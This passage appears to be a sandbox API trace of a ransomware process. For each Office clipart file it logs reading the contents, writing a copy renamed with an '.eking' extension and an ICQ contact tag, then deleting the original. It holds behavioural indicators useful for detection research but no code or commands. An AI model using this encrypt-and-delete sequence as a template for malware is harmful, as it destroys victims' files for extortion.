dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0267.943] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3564) returned 1 [0267.943] CloseHandle (hObject=0x340) returned 1 [0267.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220 [0267.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220 [0267.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0267.945] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0267.945] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0267.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0267.947] ReadFile (in: hFile=0x340, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xdec, lpOverlapped=0x0) returned 1 [0267.950] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xdf0, lpOverlapped=0x0) returned 1 [0267.951] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0267.951] CloseHandle (hObject=0x340) returned 1 [0267.951] CloseHandle (hObject=0x398) returned 1 [0267.952] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0 [0267.952] SetEvent (hEvent=0x2b8) returned 1 [0267.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0267.953] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2422) returned 1 [0267.953] CloseHandle (hObject=0x398) returned 1 [0267.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0x220 [0267.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0x220 [0267.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0267.955] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0267.955] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0267.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x340 [0267.957] ReadFile (in: hFile=0x398, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x976, lpOverlapped=0x0) returned 1 [0267.964] WriteFile (in: hFile=0x340, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x980, lpOverlapped=0x0) returned 1 [0267.966] WriteFile (in: hFile=0x340, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0267.966] CloseHandle (hObject=0x398) returned 1 [0267.966] CloseHandle (hObject=0x340) returned 1 [0267.967] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0 [0267.967] SetEvent (hEvent=0x2b8) returned 1 [0267.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0267.970] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2262) returned 1 [0267.970] CloseHandle (hObject=0x340) returned 1 [0267.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0x220 [0267.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0x220 [0267.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0267.971] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0267.971] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0267.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0267.973] ReadFile (in: hFile=0x340, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x8d6, lpOverlapped=0x0) returned 1 [0267.995] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x8e0, lpOverlapped=0x0) returned 1 [0267.999] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0267.999] CloseHandle (hObject=0x340) returned 1 [0268.000] CloseHandle (hObject=0x398) returned 1 [0268.000] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0 [0268.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0268.002] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=6970) returned 1 [0268.002] CloseHandle (hObject=0x398) returned 1 [0268.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x220 [0268.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x220 [0268.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0268.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0268.003] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0268.003] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0268.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3ac [0268.020] ReadFile (in: hFile=0x398, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1b3a, lpOverlapped=0x0) returned 1 [0268.198] WriteFile (in: hFile=0x3ac, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1b40, lpOverlapped=0x0) returned 1 [0268.199] WriteFile (in: hFile=0x3ac, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0268.199] CloseHandle (hObject=0x398) returned 1 [0268.199] CloseHandle (hObject=0x3ac) returned 1 [0268.200] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0 [0268.200] SetEvent (hEvent=0x2b8) returned 1 [0268.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0268.397] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2966) returned 1 [0268.397] CloseHandle (hObject=0x398) returned 1 [0268.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0x220 [0268.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0x220 [0268.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0268.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0268.399] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0268.399] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0268.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x388 [0268.498] ReadFile (in: hFile=0x398, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xb96, lpOverlapped=0x0) returned 1 [0268.501] WriteFile (in: hFile=0x388, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xba0, lpOverlapped=0x0) returned 1 [0268.503] WriteFile (in: hFile=0x388, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xe2, lpOverlapped=0x0) returned 1 [0268.503] CloseHandle (hObject=0x398) returned 1 [0268.504] CloseHandle (hObject=0x388) returned 1 [0268.504] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0 [0268.504] SetEvent (hEvent=0x2b8) returned 1 [0268.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0268.506] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=10326) returned 1 [0268.506] CloseHandle (hObject=0x388) returned 1 [0268.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0x220 [0268.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0x220 [0268.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0268.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0268.508] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0268.508] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0268.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0268.511] ReadFile (in: hFile=0x388, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x2856, lpOverlapped=0x0) returned 1 [0268.516] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x2860, lpOverlapped=0x0) returned 1 [0268.518] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0268.518] CloseHandle (hObject=0x388) returned 1 [0268.518] CloseHandle (hObject=0x398) returned 1 [0268.518] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0 [0268.519] SetEvent (hEvent=0x2b8) returned 1 [0268.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0268.522] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=8256) returned 1 [0268.522] CloseHandle (hObject=0x398) returned 1 [0268.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x220 [0268.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x220 [0268.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0268.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0268.523] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0268.523] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0268.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x388 [0268.525] ReadFile (in: hFile=0x398, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x2040, lpOverlapped=0x0) returned 1 [0268.527] WriteFile (in: hFile=0x388, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x2050, lpOverlapped=0x0) returned 1 [0268.528] WriteFile (in: hFile=0x388, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0268.529] CloseHandle (hObject=0x398) returned 1 [0268.529] CloseHandle (hObject=0x388) returned 1 [0268.529] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 0 [0268.530] SetEvent (hEvent=0x2b8) returned 1 [0268.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0268.532] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=29628) returned 1 [0268.532] CloseHandle (hObject=0x388) returned 1 [0268.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x220 [0268.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x220 [0268.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 